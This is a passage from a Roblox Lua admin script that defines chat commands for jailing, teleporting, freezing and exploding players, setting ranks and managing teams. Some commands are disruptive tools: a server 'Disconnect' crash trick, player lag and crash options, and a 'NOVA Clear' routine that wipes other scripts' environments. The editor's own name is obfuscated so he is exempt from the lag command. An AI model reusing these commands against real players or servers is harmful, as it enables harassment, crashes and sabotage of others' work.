  2276.         pcall(function() game.Lighting.Sky:Remove() end)
  2277.         pcall(function()
  2278.             CreateLocalScript([[
  2279.                 LocalPlayer = game:GetService("Players").LocalPlayer
  2280.                 LocalPlayer.CameraMode = Enum.CameraMode.Classic
  2281.                 Camera = workspace.CurrentCamera
  2282.                 Camera:SetRoll(0)
  2283.                 Camera.CameraType = "Custom"
  2284.                 Camera.FieldOfView = 70
  2285.                 Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
  2286.             ]],Speaker.Backpack)
  2287.         end)
  2288.         for Num,v in pairs(NOVA.Jails) do
  2289.             pcall(function() v.Jail:Destroy() end)
  2290.             table.remove(NOVA.Jails,Num)
  2291.         end
  2292.         for Num,v in pairs(NOVA.Fences) do
  2293.             pcall(function() v.Fence:Destroy() end)
  2294.             table.remove(NOVA.Fences,Num)
  2295.         end
  2296.         for _,v in pairs(NOVA.Services) do    
  2297.             v.Name = v.className
  2298.         end
  2299.        
  2300.         for _,v in pairs(GetRecursiveChildren(workspace,"SelectionBox",3)) do
  2301.             local ShouldRemove = true
  2302.             for _,Tablet in pairs(NOVA.Tablets) do
  2303.                 if v:IsDescendantOf(Tablet) then
  2304.                     ShouldRemove = false
  2305.                 end
  2306.             end
  2307.             if ShouldRemove == true then
  2308.                 v:remove()
  2309.             end
  2310.         end
  2311.         for _,v in pairs(GetRecursiveChildren(workspace)) do if v:IsA("Message") or v:IsA("Hint") then v:Destroy() end end
  2312.  
  2313.         for _,v in pairs(GetPlayersRaw()) do
  2314.             pcall(function()
  2315.                 if v.StarterGear == nil then
  2316.                     Instance.new("StarterGear",v)
  2317.                 end
  2318.             end)
  2319.             pcall(function()
  2320.                 v.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..v.userId
  2321.             end)
  2322.         end
  2323.         pcall(function() Speaker.Character.Torso.Velocity = Vector3.new(0,0,0) end)
  2324.         if #NOVA.Services.Teams:GetChildren() == 0 then
  2325.             for _,v in pairs(GetPlayersRaw()) do
  2326.                 v.Neutral = true
  2327.             end
  2328.         end
  2329.  
  2330.     end
  2331. )
  2332.  
  2333. AddCommand("Respawn","rs",2,"Respawns the selected player.","<Player>",
  2334.     function(Msg,Speaker)
  2335.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2336.             pcall(function()
  2337.                 v:LoadCharacter()
  2338.             end)
  2339.         end
  2340.     end
  2341. )
  2342.  
  2343. AddCommand("Commands","cmds",0,"Lists the command.","No Arguments",
  2344.     function(Msg,Speaker)    
  2345.         RemoveTablets(Speaker)
  2346.         local Data = GetRankedTable(Speaker)
  2347.         Output("Your current rank is "..GetRankName(Speaker).." ("..GetRank(Speaker)..")",Data.Color,Speaker)
  2348.         Output("Click a tablet to see the commands for that rank.",Data.Color,Speaker)
  2349.         Output("Get/ Commands",Data.Color,Speaker,nil,
  2350.             function()
  2351.                 RemoveTablets(Speaker)
  2352.                 for _,v in pairs(NOVA.Commands) do
  2353.                     if v.Command:sub(1,3) == "get" then
  2354.                         Output(v.Name,Data.Color,Speaker,nil,
  2355.                             function()
  2356.                                 RemoveTablets(Speaker)
  2357.                                 Output("Name : "..v.Name,Data.Color,Speaker)
  2358.                                 Output("Rank : "..v.Rank,Data.Color,Speaker)
  2359.                                 Output("Command : "..v.Command,Data.Color,Speaker)
  2360.                                 Output("Arguments : "..v.Args,Data.Color,Speaker)
  2361.                                 Output("Description : "..v.Description,Data.Color,Speaker)
  2362.                                 Output("Dismiss",NOVA.Colors.Red,Speaker)
  2363.                             end
  2364.                         )    
  2365.                     end
  2366.                 end
  2367.                 Output("Dismiss",NOVA.Colors.Red,Speaker)
  2368.                 Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
  2369.             end
  2370.         )
  2371.         for i=0,7 do
  2372.  
  2373.             Output("Rank "..i.." Commands",Data.Color,Speaker,nil,function()
  2374.                 RemoveTablets(Speaker)
  2375.                 for _,v in pairs(NOVA.Commands) do
  2376.                     if v.Rank == i then
  2377.                         Output(v.Name,Data.Color,Speaker,nil,function()
  2378.                             RemoveTablets(Speaker)
  2379.                             Output("Name : "..v.Name,Data.Color,Speaker)
  2380.                             Output("Rank : "..v.Rank,Data.Color,Speaker)
  2381.                             Output("Command : "..v.Command,Data.Color,Speaker)
  2382.                             Output("Arguments : "..v.Args,Data.Color,Speaker)
  2383.                             Output("Description : "..v.Description,Data.Color,Speaker)
  2384.                             Output("Dismiss",NOVA.Colors.Red,Speaker)
  2385.                         end)
  2386.                     end
  2387.                 end    
  2388.                 Output("Dismiss",NOVA.Colors.Red,Speaker)
  2389.                 Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
  2390.             end)
  2391.         end
  2392.         Output("ALL",Data.Color,Speaker,nil,function()
  2393.             RemoveTablets(Speaker)
  2394.             for _,v in pairs(NOVA.Commands) do
  2395.                 if GetRank(Speaker) >= v.Rank then
  2396.                     Output(v.Name,Data.Color,Speaker,nil,function()
  2397.                         RemoveTablets(Speaker)
  2398.                         Output("Name : "..v.Name,Data.Color,Speaker)
  2399.                         Output("Rank : "..v.Rank,Data.Color,Speaker)
  2400.                         Output("Command : "..v.Command,Data.Color,Speaker)
  2401.                         Output("Arguments : "..v.Args,Data.Color,Speaker)
  2402.                         Output("Description : "..v.Description,Data.Color,Speaker)
  2403.                         Output("Dismiss",NOVA.Colors.Red,Speaker)
  2404.                     end)
  2405.                 end
  2406.             end
  2407.             Output("Dismiss",NOVA.Colors.Red,Speaker)
  2408.             Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
  2409.         end)    
  2410.         Output("Dismiss",NOVA.Colors.Red,Speaker)
  2411.     end
  2412. )
  2413.  
  2414. AddCommand("Disconnect","disconnect",6,"Disconnects the selected player.","No Arguments",
  2415.     function(Msg,Speaker)
  2416.         Instance.new("ManualSurfaceJointInstance",workspace)
  2417.     end
  2418. )
  2419.  
  2420. AddCommand("Lag","lag",6,"lags the selected player.","<Player>",
  2421.     function(Msg,Speaker)
  2422.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2423.             if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  2424.                 Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  2425.             else
  2426.                 pcall(function()
  2427.                     Lag(v)
  2428.                 end)
  2429.             end
  2430.         end
  2431.     end
  2432. )
  2433.  
  2434.  
  2435. AddCommand("PRI","pri",6,"view the PRI settings.","No Arguments",
  2436.     function(Msg,Speaker)
  2437.         RemoveTablets(Speaker)
  2438.         Output("List","Random",Speaker,nil,
  2439.             function()
  2440.                 RemoveTablets(Speaker)
  2441.                 for _,v in pairs(NOVA.Ranked) do
  2442.                     if v.InPRI == true then
  2443.                         OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,v.Color,Speaker,nil,function()
  2444.                             RemoveTablets(Speaker)
  2445.                             OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2446.                         end)
  2447.                     end
  2448.                 end
  2449.                 Output("Dismiss",NOVA.Colors.Red,Speaker)
  2450.             end
  2451.         )
  2452.        
  2453.         Output("Type","Random",Speaker,nil,
  2454.             function()
  2455.                 RemoveTablets(Speaker)
  2456.                 Output("Kick",NOVA.Colors.Orange,Speaker,nil,
  2457.                     function()
  2458.                         NOVA.PRIType = "Kick"
  2459.                         RemoveTablets(Speaker)
  2460.                         OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2461.                     end
  2462.                 )
  2463.                 Output("Lag",NOVA.Colors.Red,Speaker,nil,
  2464.                     function()
  2465.                         NOVA.PRIType = "Lag"
  2466.                         RemoveTablets(Speaker)
  2467.                         OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2468.                     end
  2469.                 )
  2470.                 Output("Shutdown",NOVA.Colors.Orange,Speaker,nil,
  2471.                     function()
  2472.                         NOVA.PRIType = "Shutdown"
  2473.                         RemoveTablets(Speaker)
  2474.                         OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2475.                     end
  2476.                 )
  2477.                 Output("Crash",NOVA.Colors.Orange,Speaker,nil,
  2478.                     function()
  2479.                         NOVA.PRIType = "Crash"
  2480.                         RemoveTablets(Speaker)
  2481.                         OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2482.                     end
  2483.                 )
  2484.                 Output("Dismiss",NOVA.Colors.Red,Speaker)
  2485.             end
  2486.         )
  2487.         Output("Turn PRI On",NOVA.Colors.Red,Speaker,nil,
  2488.             function()
  2489.                 NOVA.PRI = true
  2490.                 RemoveTablets(Speaker)
  2491.                 OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2492.             end
  2493.         )
  2494.        
  2495.         Output("Turn PRI Off",NOVA.Colors.Green,Speaker,nil,
  2496.             function()
  2497.                 NOVA.PRI = false
  2498.                 RemoveTablets(Speaker)
  2499.                 OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2500.             end
  2501.         )
  2502.        
  2503.         Output("Dismiss",NOVA.Colors.Red,Speaker)
  2504.     end
  2505. )
  2506.  
  2507. --[[ GET COMMANDS ]]--
  2508.  
  2509. AddCommand("Get Ranked","getranked",0,"Displays all the current players ranks.","No Arguments",
  2510.     function(Msg,Speaker)
  2511.         if #Msg == 0 or Msg == nil then
  2512.             RemoveTablets(Speaker)
  2513.             for _,v in pairs(NOVA.Ranks) do
  2514.                 local RankNumber = v[1]
  2515.                 local RankName = v[2]
  2516.                 Output(RankName.." ("..(RankNumber)..")",Color3.new((RankNumber)/10,(RankNumber)/10,(RankNumber)/10),Speaker,nil,
  2517.                     function()
  2518.                         RemoveTablets(Speaker)
  2519.                         for _,v in pairs(GetPlayersRaw()) do
  2520.                             if GetRank(v) == RankNumber then
  2521.                                 OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,GetRankedTable(v).Color,Speaker,nil,
  2522.                                     function()
  2523.                                         PlayerInterface(v,Speaker)
  2524.                                     end
  2525.                                 )
  2526.                             end
  2527.                         end
  2528.                         Output("Done",NOVA.Colors.Blue,Speaker,nil,
  2529.                             function()
  2530.                                 OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
  2531.                             end
  2532.                         )
  2533.                         Output("Dismiss",NOVA.Colors.Red,Speaker)
  2534.                     end
  2535.                 )
  2536.             end
  2537.             Output("ALL",NOVA.Colors.Blue,Speaker,nil,
  2538.                 function()
  2539.                     RemoveTablets(Speaker)
  2540.                    
  2541.                     for _,v in pairs(GetPlayersRaw()) do
  2542.                         OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,GetRankedTable(v).Color,Speaker,nil,
  2543.                             function()
  2544.                                 PlayerInterface(v,Speaker)
  2545.                             end
  2546.                         )
  2547.                     end
  2548.  
  2549.                     Output("Done",NOVA.Colors.Blue,Speaker,nil,
  2550.                         function()
  2551.                             OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
  2552.                         end
  2553.                     )
  2554.                     Output("Dismiss",NOVA.Colors.Red,Speaker)
  2555.                 end
  2556.             )    
  2557.             Output("Dismiss",NOVA.Colors.Red,Speaker)
  2558.         else
  2559.             PlayerInterface(GetPlayers(Msg,Speaker)[1],Speaker)
  2560.         end
  2561.     end
  2562. )
  2563.  
  2564. AddCommand("Set Description","setdesc",6,"Sets the selected player's description.","<Player><Description>",
  2565.     function(Msg,Speaker)
  2566.         Split = GetSplit(Msg)
  2567.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  2568.             GetRankedTable(v).Desc = Msg:sub(Split+1)
  2569.             SyncRankOutSingular(v)
  2570.         end
  2571.     end
  2572. )
  2573.  
  2574. AddCommand("Get CMD","getcmd",0,"Toggles the CMD bar on your screen.","<BoolValue>",
  2575.     function(Msg,Speaker)
  2576.         if Msg == "true" then
  2577.             GetRankedTable(Speaker).CMD = true
  2578.         elseif Msg == "false" then
  2579.             GetRankedTable(Speaker).CMD = false
  2580.             pcall(function() Speaker.PlayerGui:FindFirstChild("NOVACMD"):Remove() end)
  2581.         else Output("Please choose a proper bool value. ( true / false )",NOVA.Colors.Orange,Speaker,5)
  2582.         end
  2583.         SyncRankOutSingular(Speaker)
  2584.     end
  2585. )
  2586.  
  2587. AddCommand("Get Build Tools","getbtools",1,"Gives the speaker building tools.","No Arguments",
  2588.     function(Msg,Speaker)
  2589.         pcall(function()
  2590.             for i=1,4 do
  2591.                 Instance.new("HopperBin",Speaker.Backpack).BinType = i
  2592.             end
  2593.         end)
  2594.     end
  2595. )
  2596.  
  2597. AddCommand("Get Reset","getreset",0,"Resets the speaker's character.","No Arguments",
  2598.     function(Msg,Speaker)
  2599.         pcall(function()
  2600.             Speaker:LoadCharacter()
  2601.         end)
  2602.     end
  2603. )
  2604.  
  2605. AddCommand("Get Fixed Character Appearance","get/fixchar",0,"Fixes the Speaker's character appearance.","No Arguments",
  2606.     function(Msg,Speaker)
  2607.         Speaker.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Speaker.userId
  2608.     end
  2609. )
  2610.  
  2611. AddCommand("Give Build Tools","givebtools",1,"Gives the selected player building tools.","<Player>",
  2612.     function(Msg,Speaker)
  2613.         pcall(function()
  2614.             for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2615.                 for i=1,4 do
  2616.                     Instance.new("HopperBin",Speaker.Backpack).BinType = i
  2617.                 end
  2618.             end
  2619.         end)
  2620.     end
  2621. )
  2622.  
  2623. AddCommand("Set Rank","setrank",0,"Allows you to change the rank of others.","<Player><Rank>",
  2624.     function(Msg,Speaker)
  2625.         local Split = GetSplit(Msg)
  2626.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  2627.             if GetRank(Speaker) > GetRank(v) then
  2628.                 if tonumber(Msg:sub(Split+1)) > GetRank(Speaker) then
  2629.                     Output("You cannot set a rank that high.",NOVA.Colors.Orange,Speaker,5)
  2630.                 else
  2631.                     GetRankedTable(v).Rank = tonumber(Msg:sub(Split+1))
  2632.                     SyncRankOutSingular(v)
  2633.                 end
  2634.             end
  2635.         end
  2636.     end
  2637. )
  2638.  
  2639. AddCommand("Teleport","tp",2,"Teleports one player to another.","<Player><Player>",
  2640.     function(Msg,Speaker)
  2641.  
  2642.         Split = GetSplit(Msg)              
  2643.         send  = GetPlayers(string.sub(Msg,1,Split - 1),Speaker)
  2644.         to = GetPlayers(string.sub(Msg,Split+1),Speaker)
  2645.         for _,a in pairs(send) do
  2646.             for _,b in pairs(to) do
  2647.                 pcall(function()
  2648.                     a.Character.Torso.CFrame = b.Character.Torso.CFrame
  2649.                 end)
  2650.             end
  2651.         end
  2652.        
  2653.     end
  2654. )
  2655.  
  2656. AddCommand("Circle Teleport","ctp",2,"Teleports one player to another.","<Player><Player>",
  2657.     function(Msg,Speaker)
  2658.  
  2659.         Split = GetSplit(Msg)          
  2660.         send  = GetPlayers(string.sub(Msg,1,Split - 1),Speaker)
  2661.         to = GetPlayers(string.sub(Msg,Split+1),Speaker)[1]
  2662.         for i, player in pairs(send) do
  2663.             pcall(function()
  2664.                 player.Character.Torso.CFrame = CFrame.new(to.Character.Torso.Position)
  2665.                 * CFrame.Angles(0, math.rad(i * 360 / #send), 0)
  2666.                 * CFrame.new(0, 0, 3 + (#send*2) )
  2667.             end)
  2668.         end
  2669.     end
  2670. )
  2671.  
  2672. AddCommand("Walkspeed","ws",2,"Sets the selected player walkspeed to the following number.","<Player><Number>",
  2673.     function(Msg,Speaker)
  2674.         Split = GetSplit(Msg)                
  2675.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  2676.             pcall(function() v.Character.Humanoid.WalkSpeed = tonumber(Msg:sub(Split+1)) end)
  2677.         end
  2678.     end
  2679. )
  2680.  
  2681. AddCommand("Explode","expl",2,"Explodes the selected player.","<Player>",
  2682.     function(Msg,Speaker)
  2683.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2684.             pcall(function()
  2685.                 v.Character:BreakJoints()
  2686.                 E = Instance.new("Explosion",NOVA.Services.Workspace)
  2687.                 E.Position = v.Character.Torso.Position
  2688.                 E.BlastPressure = 124000
  2689.             end)
  2690.         end
  2691.     end
  2692. )
  2693.  
  2694. AddCommand("Infinite Health","inf",2,"Sets the selected player health to math.huge.","<Player>",
  2695.     function(Msg,Speaker)
  2696.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2697.             pcall(function()
  2698.                 v.Character.Humanoid.MaxHealth = math.huge
  2699.             end)
  2700.         end
  2701.     end
  2702. )
  2703.  
  2704. AddCommand("God","god",2,"makes the selected player god.","<Player>",
  2705.     function(Msg,Speaker)
  2706.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2707.             pcall(function()
  2708.                 v.Character.Torso.Touched:connect(function(part)
  2709.                     if not part:IsDescendantOf(v.Character) and not part.Anchored == true and part ~= Crown then
  2710.                         part.CanCollide = true
  2711.                         part:BreakJoints()
  2712.                         for i=1,3 do Instance.new("Fire",part).Color = Color3.new(255,255,255) end
  2713.                     end
  2714.                 end)
  2715.             end)
  2716.         end
  2717.     end
  2718. )
  2719.  
  2720. AddCommand("Punish","punish",2,"Reparents the selected player's character parent lighting.","<Player>",
  2721.     function(Msg,Speaker)
  2722.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2723.             pcall(function()
  2724.                 v.Character.Parent = NOVA.Services.Lighting
  2725.             end)
  2726.         end
  2727.     end
  2728. )
  2729.  
  2730. AddCommand("Un Punish","unpunish",2,"Reparents the selected player's character parent workspace.","<Player>",
  2731.     function(Msg,Speaker)
  2732.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2733.             pcall(function()
  2734.                 v.Character.Parent = NOVA.Services.Workspace
  2735.                 v.Character:MakeJoints()
  2736.                 pcall(function() v.Character.Animate.Disabled = false end)
  2737.             end)
  2738.         end
  2739.     end
  2740. )
  2741.  
  2742. AddCommand("Freeze","freeze",2,"Anchor the selected player('s/s') character('s).","<Player>",
  2743.     function(Msg,Speaker)
  2744.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2745.             pcall(function()
  2746.                 for _,part in pairs(v.Character:GetChildren()) do
  2747.                     pcall(function()
  2748.                         part.Anchored = true
  2749.                     end)
  2750.                 end
  2751.             end)
  2752.         end
  2753.     end
  2754. )
  2755.  
  2756. AddCommand("Thaw","thaw",2,"Un anchor the selected player('s/s') character('s).","<Player>",
  2757.     function(Msg,Speaker)
  2758.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2759.             pcall(function()
  2760.                 for _,part in pairs(v.Character:GetChildren()) do
  2761.                     pcall(function()
  2762.                         part.Anchored = false
  2763.                     end)
  2764.                 end
  2765.             end)
  2766.         end
  2767.     end
  2768. )
  2769.  
  2770. AddCommand("Remove Tools","rtools",2,"Removes the selected player tools.","<Player>",
  2771.     function(Msg,Speaker)
  2772.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2773.             pcall(function()
  2774.                 for _,part in pairs(v.Backpack:GetChildren()) do
  2775.                     part:Destroy()
  2776.                 end
  2777.             end)
  2778.         end
  2779.     end
  2780. )
  2781.  
  2782. AddCommand("Remove Backpack","rbp",2,"Removes the selected player backpack.","<Player>",
  2783.     function(Msg,Speaker)
  2784.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2785.             pcall(function()
  2786.                 v.Backpack:Destroy()
  2787.             end)
  2788.         end
  2789.     end
  2790. )
  2791.  
  2792. AddCommand("Sit","sit",2,"Makes the selected player sit down.","<Player>",
  2793.     function(Msg,Speaker)
  2794.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2795.             pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
  2796.             pcall(function() v.Character.Humanoid.Sit = true end)
  2797.         end
  2798.     end
  2799. )
  2800.  
  2801. AddCommand("Stand","stand",2,"Makes the selected player stand up.","<Player>",
  2802.     function(Msg,Speaker)
  2803.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2804.             pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
  2805.             pcall(function() v.Character.Humanoid.Sit = false end)
  2806.         end
  2807.     end
  2808. )
  2809.  
  2810. AddCommand("Jump","jump",2,"Makes the selected player jump.","<Player>",
  2811.     function(Msg,Speaker)
  2812.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2813.             pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
  2814.             pcall(function() v.Character.Humanoid.Jump = true end)
  2815.         end
  2816.     end
  2817. )
  2818.  
  2819. AddCommand("Control","control",2,"Controls the selected player","<Player>",
  2820.     function(Msg,Speaker)
  2821.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2822.             pcall(function()
  2823.                 Speaker.Character = v.Character
  2824.             end)
  2825.         end
  2826.     end
  2827. )
  2828.  
  2829. AddCommand("Transparent","trans",2,"Makes the selected player transparent","<Player>",
  2830.     function(Msg,Speaker)
  2831.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2832.             pcall(function()
  2833.                 for _,v in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
  2834.                     coroutine.resume(coroutine.create(function()
  2835.                         for i=1,10  do
  2836.                             wait()
  2837.                             v.Transparency = v.Transparency + 0.1
  2838.                         end
  2839.                     end))
  2840.                 end
  2841.             end)
  2842.         end
  2843.     end
  2844. )
  2845.  
  2846. AddCommand("Visible","visible",2,"Makes the selected player visible.","<Player>",
  2847.     function(Msg,Speaker)
  2848.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2849.             pcall(function()
  2850.                 for _,v in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
  2851.                     coroutine.resume(coroutine.create(function()
  2852.                         for i=1,10  do
  2853.                             wait()
  2854.                             v.Transparency = v.Transparency - 0.1
  2855.                         end
  2856.                     end))
  2857.                 end
  2858.             end)
  2859.         end
  2860.     end    
  2861. )
  2862.  
  2863. AddCommand("Remove Hats","rhats",2,"Remove the hat of the selected player.","<Player>",
  2864.     function(Msg,Speaker)
  2865.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2866.             pcall(function()
  2867.                 for _,part in pairs(v.Character:GetChildren()) do if part:IsA("Hat") then part:Remove() end end
  2868.             end)
  2869.         end
  2870.     end
  2871. )
  2872.  
  2873. AddCommand("Remove Humanoid","rhum",2,"Remove the humanoid of the selected player.","<Player>",
  2874.     function(Msg,Speaker)
  2875.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2876.             pcall(function()
  2877.                 for _,part in pairs(v.Character:GetChildren()) do if part:IsA("Humanoid") then part:Remove() end end
  2878.             end)
  2879.         end
  2880.     end
  2881. )
  2882.  
  2883. AddCommand("Jail","jail",2,"Puts the selected player in jail.","<Player>",
  2884.     function(Msg,Speaker)
  2885.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2886.             pcall(function()
  2887.                 coroutine.resume(coroutine.create(function()
  2888.                     local MainCF = v.Character.Torso.CFrame
  2889.                     local Main = Instance.new("Model",workspace)
  2890.                     Main.Name = "Main"
  2891.                     table.insert(NOVA.Jails,{Jail = Main, Player = v,Speaker = Speaker})
  2892.                     for Pitch = 1, 360, 360 do
  2893.                         for Yaw = 1, 360, 360/13 do
  2894.                             for Angle = 1,180, 8 do
  2895.                                 local Part = Instance.new("Part",Main)
  2896.                                 Part.Name = "Part"
  2897.                                 Part.FormFactor = "Custom"
  2898.                                 Part.TopSurface = "Smooth"
  2899.                                 Part.BottomSurface = "Smooth"
  2900.                                 Part.Reflectance = 0
  2901.                                 Part.Transparency = 0
  2902.                                 Part.Anchored = true
  2903.                                 Part.Locked = true
  2904.                                 Part.CanCollide = true
  2905.                                 Part.BrickColor = BrickColor.new("Navy blue")
  2906.                                 Part.Size = Vector3.new(2,1,4)
  2907.                                 Part.CFrame = MainCF
  2908.                                     * CFrame.Angles(math.rad(Pitch),math.rad(Yaw),math.rad(Angle))
  2909.                                     * CFrame.new(0,5,0)
  2910.                                 local Mesh = Instance.new("BlockMesh",Part)
  2911.                                 Mesh.Scale = Vector3.new(1,1,0.1)
  2912.                                 if math.floor(Angle/5) == Angle/5 then
  2913.                                     wait()
  2914.                                 end
  2915.                             end
  2916.                         end
  2917.                     end
  2918.                    
  2919.                     v.Character.Torso.CFrame = MainCF
  2920.                    
  2921.                     while Main.Parent ~= nil do
  2922.                         wait()
  2923.                         pcall(function()
  2924.                             if (v.Character.Torso.CFrame.p - MainCF.p).magnitude > 6 then
  2925.                                 v.Character.Torso.CFrame = MainCF
  2926.                             end
  2927.                         end)
  2928.                     end
  2929.                 end))
  2930.             end)
  2931.         end
  2932.     end
  2933. )
  2934.  
  2935. AddCommand("Un Jail","unjail",2,"Un jails the selected player.","<Player>",
  2936.     function(Msg,Speaker)
  2937.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2938.             for Num,Jail in pairs(NOVA.Jails) do
  2939.                 if Jail.Player ~= nil and Jail.Player == v then
  2940.                     pcall(function() Jail.Jail:Destroy() end)
  2941.                     table.remove(NOVA.Jails,Num)
  2942.                 end
  2943.             end
  2944.         end
  2945.     end
  2946. )
  2947.  
  2948. AddCommand("NOVA Clear","NOVA",6,"Clears the game.","No Arguments",
  2949.     function(Msg,Speaker)
  2950.         for i,v in pairs(_G) do
  2951.             if type(v) == "function" and getfenv(v).NOVA == nil then
  2952.                 for var,val in pairs(getfenv(v)) do
  2953.                     pcall(function() getfenv(v)[var] = nil end)
  2954.                 end
  2955.             end
  2956.         end
  2957.         for i,v in pairs(_G) do
  2958.             _G[i] = nil
  2959.         end
  2960.         SetGlobals()
  2961.         for _,v in pairs(NOVA.Services) do
  2962.             v.Name = "Unknown Exception"
  2963.         end    
  2964.         for i,v in pairs(GetRecursiveChildren()) do
  2965.             pcall(function()
  2966.                 if not v:IsA("Player") then
  2967.                     pcall(function()
  2968.                         if Prometheus ~= nil and v == Prometheus.script("lushmylife") then
  2969.                         else
  2970.                             pcall(function()
  2971.                                 v.Disabled = true
  2972.                             end)
  2973.                             pcall(function()
  2974.                                 NOVA.Services.Debris:AddItem(v,0)
  2975.                             end)
  2976.                         end
  2977.                     end)
  2978.                 end
  2979.             end)
  2980.         end
  2981.         for _,v in pairs(NOVA.Services) do    
  2982.             v.Name = v.className
  2983.         end
  2984.         local Base=Instance.new("Part",NOVA.Services.Workspace)
  2985.         Base.Name="Base"
  2986.         Base.Size=Vector3.new(2048,1,2048)
  2987.         Base.BrickColor=BrickColor.new("Bright green")
  2988.         Base.Anchored=true
  2989.         Base.Locked=true
  2990.         Base.TopSurface="Smooth"
  2991.         Base.Transparency = 1
  2992.         Base.CFrame=CFrame.new(Vector3.new(0,0,0))
  2993.         local Spawn=Instance.new("SpawnLocation",NOVA.Services.Workspace) Spawn.Name="SpawnLocation"
  2994.         Spawn.Size=Vector3.new(6,1,6)
  2995.         Spawn.Transparency=1
  2996.         Spawn.CanCollide=false
  2997.         Spawn.Anchored=true
  2998.         Spawn.Locked=true
  2999.         Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))
  3000.         for _,v in pairs(GetPlayersRaw()) do v:LoadCharacter() end
  3001.     end
  3002. )
  3003.  
  3004. AddCommand("ChangeTeam","changeteam",3,"Change the current team of the selected player.","<Player><TeamName>",
  3005.     function (Msg,Speaker)
  3006.         Split = GetSplit(Msg)
  3007.         for _,v in pairs(GetPlayers(string.sub(Msg,1,Split - 1),Speaker)) do
  3008.             pcall(function()
  3009.                 Team = nil
  3010.                 for _,find in pairs(NOVA.Services.Teams:GetChildren()) do
  3011.                     if string.sub(find.Name:lower(),1,#string.sub(Msg,Split+1)) == string.lower(string.sub(Msg,Split+1)) then
  3012.                         Team = find
  3013.                     end
  3014.                 end
  3015.                 v.TeamColor = Team.TeamColor
  3016.             end)
  3017.         end
  3018.     end
  3019. )
  3020.  
  3021. AddCommand("Teams Remove","rteam",6,"Part of teams commands.","No Arguments",
  3022.     function(Msg,Speaker)
  3023.         RemoveTablets(Speaker)
  3024.         for _,v in pairs(NOVA.Services.Teams:GetChildren()) do
  3025.             if string.sub(v.Name:lower(),1,#Msg) == Msg:lower() then
  3026.                 v:Remove()
  3027.             end
  3028.         end
  3029.     end
  3030. )
  3031.  
  3032. AddCommand("Teams Add","newteam",6,"Part of teams commands.","<Name>",
  3033.     function(Msg,Speaker)
  3034.         Split = GetSplit(Msg)
  3035.         Team = Instance.new("Team",NOVA.Services.Teams)
  3036.         Team.TeamColor = BrickColor.new(Msg:sub(Split+1))
  3037.         Team.Name = Msg:sub(1,Split-1)
  3038.         Team.AutoAssignable = false
  3039.         Team.Neutral = false
  3040.     end
  3041. )
  3042.  
  3043. AddCommand("Kill Talk","killtalk",6,"Kills the selected player when they talk.","<Players>",
  3044.     function(Msg,Speaker)
  3045.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3046.             v.Chatted:connect(function() pcall(function() v.Character:BreakJoints() end) end)
  3047.         end
  3048.     end
  3049. )
  3050.  
  3051. AddCommand("Hoverseat","hoverseat",7,"Gives that player a hoverseat","<Players>",
  3052.     function(Msg,Speaker)
  3053.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3054.        
